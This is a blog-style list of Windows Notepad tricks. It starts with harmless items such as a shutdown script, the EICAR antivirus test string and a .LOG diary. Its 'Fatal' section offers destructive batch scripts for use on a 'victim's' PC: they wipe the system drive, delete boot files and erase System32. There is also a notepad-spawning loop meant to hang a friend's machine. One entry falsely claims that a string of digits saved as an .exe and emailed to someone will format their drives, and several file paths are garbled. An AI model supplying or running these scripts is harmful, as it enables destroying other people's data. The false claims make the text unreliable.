10 Coolest Notepad Tricks and Hacks You Might Not Know

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Notepad is the most powerful yet simple text editor which come’s within windows operating system. It’s files are saved in txt format which is widely compatible with other text editors. But don’t go with it’s simplicity, It can be used to create files of any file extensions like html, bat, vbs etc. So here I have shared some best notepad tricks and hacks which you can use to amaze your friends.

Simple Notepad Tips and Tricks

These are some useful notepad tricks and tips which you can use in your day to day life. Some of them can be used to prank your friends while some of them can make you more productive.

#1 – Shut Down Your Computer Using Notepad

This is something which I personally use. This trick will shutdown your PC in just a single click. So there is no need to follow the tradition of going to start and then selecting shut down.

  • Open notepad and paste the following code :

@echo off
msg * Hey, there I am going to shut down.
shutdown -c “Sleep Tight” –s

  • Now save the file with the following name and extension : shutdown.bat
  • Make sure to select All files (*.*) in Save as type.

Note – You have to always select All Files(*.*) while saving the files with other extension otherwise any of the notepad trick won’t work.

#2 – Create a Virus in Notepad

This code is often referred as EICAR code which is an abbreviation of European Institute for Computer Antivirus Research. This notepad hack is widely used to check if your antivirus program is working or not.

  • Open notepad and paste the following code :

X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

  • Save the file with .com extension, For Ex – myvirus.com
  • If your antivirus works fine then this virus will get detected within few seconds.

#3 – Create a Diary in Notepad

This trick automatically adds a date whenever you add something to the text file. It can be used as a personal diary or a log book.

  • Launch Notepad and type .LOG in the first line and then on the next line you can write your notes as shown below.

  • Now simply save the file as any name you want. 
  • Whenever you will open the file again then you can see the a date being inserted above your notes.

#4 – See Matrix Raining on Your Screen

  • Launch Notepad and paste the following code :

@echo off
:a
color 2
echo 1 1 1 0 1 0 0 0 1 1 1 1 0 0 0 1 1 0 0 1 0 0 0 1 1 0 1 0 1 0 0 0 1 1 1 1
ping localhost -n 1 > nul
echo 1 1 0 1 1 1 0 0 0 1 0 1 a f h 0 0 0 1 0 1 1 0 0 1 1 1 0 0 1 0 1 0 0 1 1 0
echo 1 0 0 1 1 0 9 8 1 2 0 1 9 9 2 1 1 1 0 0 1 0 1 1 1 0 1 1 0 1 0 0 0 1 0 1 1
ping localhost -n 1 > nul
echo 0 1 0 0 0 1 0 0 0 1 0 0 0 1 0 1 0 0 1 0 1 0 1 1 0 1 0 0 0 01 0 1 0 0 1 0
ping localhost -n 1 > nul
echo 1 0 1 1 1 0 1 1 0 9 1 1 2 1 1 0 9 1 0 5 7 7 8 7 8 1 3 2 1 2 1 2 3 2 1 3 4
ping localhost -n 1 > nul
echo 1 1 1 0 1 0 0 1 0 0 0 1 1 1 0 0 1 1 1 4 1 2 1 1 2 0 1 0 1 2 2 1 0 1 1 0 1
goto a

  • Save the file as Matrixtrick.bat , Make sure to include .bat extension.
  • Open the file and you could see the matrix effect.

#5 – Open Notepad Continuously (Notepad Loop)

This trick will simultaneously open notepad again and again. It can be quite dangerous as your system may get hanged, So only this trick on your friends computer.

  • Open notepad and paste the following code in it :

@ECHO off
:top
START %SystemRoot%system32notepad.exe
GOTO top

  • Save this file with .bat extension, For ex – NotepadHack.bat

Fatal Notepad Tricks and Hacks

These notepad tricks are very dangerous so try at your own risk. I am not responsible if anything happened to your or anyone’s computer. Don’t use these tricks to crash someone’s PC. All of these are just for educational purpose.

#1 – Hit Enter Continuously 

This trick simultaneously presses enter again and again. This is not a very fatal trick, But if you wish to annoy someone then you can use this trick.

  • Launch Notepad and paste the code given below :

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

  • Save this file with .vbs extension, For Ex – Enter.vbs 
  • Open the file and get ready to be annoyed.

#2 – Delete System Drive From Your Victim’s PC

  • Open notepad and paste the following code :

@ECHO OFF
DEL %SYSTEMDRIVE%*.*/F/S/Q
SHUTDOWN -R -F -T 00

  • Save the file with .bat extension, For Ex – Deletesystem.bat
  • Open the file at your own risk!

#3 – Shut Down Victims Computer Forever

This trick shutdowns your computer and deletes a system file which is required to boot your PC. Once the file is deleted the computer becomes totally dead and can only be recovered after installing windows again.

  • Open notepad and paste the following code :

@ECHO OFF
ATTRIB -R -S -H C:AUTOEXEC.BAT
DEL C:AUTOEXEC.BAT
ATTRIB -R -S -H C:BOOT.INI
DEL C:BOOT.INI
ATTRIB -R -S -H C:NTLDR
DEL C:NTLDR
ATTRIB -R -S -H C:WINDOWSWIN.INI
DEL C:WINDOWSWIN.INI

  • Now save the file with a .bat extension, For Ex – Donotopen.bat
  • Don’t dare to open the file, Otherwise your PC will be totally damaged.

#4 – Format Victim’s Computer

This will totally wipe each and every drive present on victim’s computer. If you want to format someone’s hdd than this trick is for you.

  • Launch notepad and paste the following code :

SAYS01001011000111110010010101010101010000011111100000

  • Save the file with virus.exe name. Of course you can change the name but don’t forget to save the file with .exe extension.
  • Now just mail or send the file to your victim. Whenever he open’s the file all the data on his computer will be lost.

#5 – Delete System32 From Victim’s Computer 

System32 is a very important directory which is used to store important system files. If this directory is deleted you won’t be able to boot your computer.
  • As usually open notepad and paste the following code :

DEL C:WINDOWSSYSTEM32*.*/Q

  • Save the file with .bat extension, For Ex – DestroyPC.bat
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